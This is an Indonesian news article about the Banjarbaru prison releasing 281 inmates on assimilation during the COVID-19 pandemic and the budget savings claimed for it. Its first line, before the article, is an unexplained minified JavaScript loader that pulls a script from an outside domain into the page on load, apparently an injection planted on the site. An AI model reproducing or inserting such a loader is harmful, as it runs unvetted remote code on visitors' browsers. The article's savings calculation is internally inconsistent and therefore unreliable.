(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pembebasan 281 Napi di Lapas Banjarbaru Menghemat Anggaran Rp 944 Juta!


KANALKALIMANTAN.COM, BANJARBARU – Lapas Kelas II Banjarbaru telah menetapkan pemberian asimilasi kepada 281 narapidana. Ini berarti mereka dibebaskan, namun diharuskan tetap berada di rumah masing-masing sampai masa hukuman pidana berakhir. Salah satu syarat bagi mereka yang menerima asimilasi ini, ada para napi yang dua pertiga masa pidananya jatuh sampai dengan tanggal 31 Desember 2020.

Kebijakan membebaskan para napi ini adalah upaya yang dicetuskan Kementerian Hukum dan HAM ihwal pencegahan dan penanganan pandemi virus corona di Lapas maupun Rutan. Di sisi lain, kebijakan ini juga menjadi solusi untuk menghemat anggaran kebutuhan para napi, mengingat saat ini kondisi ekonomi tengah melemah akibat merebaknya pandemi virus corona.

Kepala Lapas Banjarbaru Herliadi, menyebutkan bahwa untuk kebutuhan satu napi, pihaknya menggelontorkan uang sebesar Rp 16.000,86 atau Rp 16 ribu perharinya. Maka jika dikalkulasikan dengan pembebasan 281 napi saat ini, Lapas Banjarbaru telah menghemat anggaran sebesar Rp 4.496.241,66 atau Rp 4,4 juta dalam satu hari.

“Anggaran Rp 16 ribu itu, untuk pasokan makan satu napi. Kalau dihitung, kita menghemat anggaran Rp 4,4 juta dalam satu hari,” katanya, Kamis (2/4/2020) siang.

Lalu, jika dikalkulasikan pembebasan 281 napi dengan biaya sepanjang masa pidana dari April hingga Desember mendatang, Lapas Banjarbaru telah menghemat anggaran negara sebesar Rp 944 juta (Rp 4,4 juta x 281 napi).

Seperti yang diberitakan sebelumnya, 281 napi yang menerima asimilasi akan dibebaskan namun akan tetap dalam pengawasan petugas Balai Permasyarakatan (Bapas). Pembebasan 281 napi dilakukan secara bertahap. Contohnya, pada hari ini, 14 napi yang lebih dulu dibebaskan.

“Hari ini kita membebaskan 14 napi terlebih dahulu. Tadi mereka jyga sudah dikasih arahan oleh petugas. Pembebesan 281 napi di Lapas Banjarbaru, dilakukan secara bertahap sampai pada tanggal 7 April mendatang,” pungkas Kalapas Banjarbaru.

Selain itu, Lapas Banjarbaru juga menerapkan sistem lockdown sebagai upaya memutus penyebaran rantai virus corona. Dalam hal ini, pembesuk tidak diperbolehkan masuk ke dalam lapas dan hanya bisa berhubungan melalui video call dengan napi didalam. Selain itu, pembesuk yang ingin mengirimkan kebutuhan kepada kerabatnya yang berada didalam lapas, harus melewati bilik disinfektan. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

11 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

13 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

13 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

13 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

15 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

16 jam ago

This website uses cookies.